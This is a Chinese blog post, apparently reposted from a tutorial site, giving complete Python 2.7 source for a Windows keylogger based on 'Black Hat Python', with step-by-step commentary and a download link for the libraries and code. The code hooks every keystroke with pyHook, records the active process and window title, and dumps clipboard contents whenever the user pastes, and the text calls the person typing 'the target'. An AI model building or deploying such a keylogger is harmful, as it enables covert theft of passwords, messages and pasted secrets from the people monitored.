windows 键盘记录器(win10下测试成功)
源碼很簡單,主要就是python黑帽子中鍵盤記錄器的內容。
操作系統環境是win10 64位,環境python2.7,
用到的第三方庫pyHook,pythoncom,win32clipboard。這三個庫文章最后有資源。
先看運行效果
從上圖中可以清楚看到,首先我在記事本中輸入了一些文字,接著打開了Edge瀏覽器,在百度中搜索了一些內容。
下面是源碼
# coding=utf-8 from ctypes import * import pythoncom import pyHook import win32clipboarduser32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Nonedef get_current_process():# 獲得前臺窗口句柄hwnd = user32.GetForegroundWindow() #1# 獲得進程IDpid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd, byref(pid)) #2# 保存當前的進程IDprocess_id = "%d" % pid.value# 申請內存executable = create_string_buffer("\x00" * 512)h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) #3psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #4# 讀取窗口標題window_title = create_string_buffer("\x00" * 512)length = user32.GetWindowTextA(hwnd, byref(window_title),512) #5# 輸出進程相關信息printprint "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) #6print# 關閉句柄kernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)第一部分,定義了一些變量和一個函數get_current_process()。
這個函數的功能時獲取當前活動的窗口及對應的進程ID。
在這個函數中。
#1 先調用GetForeGroundWindow函數。返回桌面上當前活動窗口的句柄。
#2 將上面獲得的句柄作為參數調用GetWindowThreadProcessId。它返回對應的進程ID。
#3 打開進程,返回當前進程句柄。
#4 利用返回的句柄,獲得進程對應的可執行文件的名字。
#5 通過調用GetWindowTextA函數,獲得窗口標題欄中顯示的文本字符。
#6 將所有的信息通過一種格式進程輸出。
下面,完成鍵盤記錄器的核心代碼
def KeyStroke(event):global current_window # 檢查目標是否切換了窗口if event.WindowName != current_window: #1current_window = event.WindowName get_current_process()# 檢測按鍵是否為常規按鍵(非組合鍵等)if event.Ascii > 32 and event.Ascii < 127: #2print chr(event.Ascii),else:# 如果輸入為CTRV-V,則獲得剪貼板內容if event.Key == "V": #3win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print "[PASTE] - %s" % (pasted_value),else:print "[%s]" % event.Key,# 返回直到下一個鉤子事件被觸發return True# 創建和注冊鉤子函數管理器 kl = pyHook.HookManager() #4 kl.KeyDown = KeyStroke #5# 注冊鍵盤記錄的鉤子,然后永久執行 kl.HookKeyboard() #6 pythoncom.PumpMessages()#4 定義了pyHook的HookManager管理器。
#5 將自定義的回調函數KetStroke 與 KeyDown事件進行了綁定。
#6 通過PyHook鉤住了所有的按鍵事件,當目標按下鍵盤上的一個鍵時,KeyStroe函數就會被調用,它的參數時觸發這個事件的對象。
#1 在這個函數中我們首先要做的時檢查用戶是否切換了窗口,如果切換了窗口,我們需要重新獲取當前窗口的名字及進程信息。
#2 我們檢查按鍵是否在可輸出的ASCII碼范圍之內,如果是,輸出即可,如果按鍵是修飾鍵(如Shift/Ctrl或Alt鍵)或其他非標準的按鍵,那么我們從事件的對象中提取按鍵的名稱。
#3 我們檢查用戶是否在進行粘貼操作,如果是,我們提取剪貼板中的內容。
最后回調函數返回True來允許執行隊列中的下個hook事件。
其中用到的第三方庫和源碼
https://download.csdn.net/download/weixin_39318421/12654631下載
總結
以上是生活随笔為你收集整理的windows 键盘记录器(win10下测试成功)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 用python六行代码写一个简单的键盘记
- 下一篇: windows下内存检测工具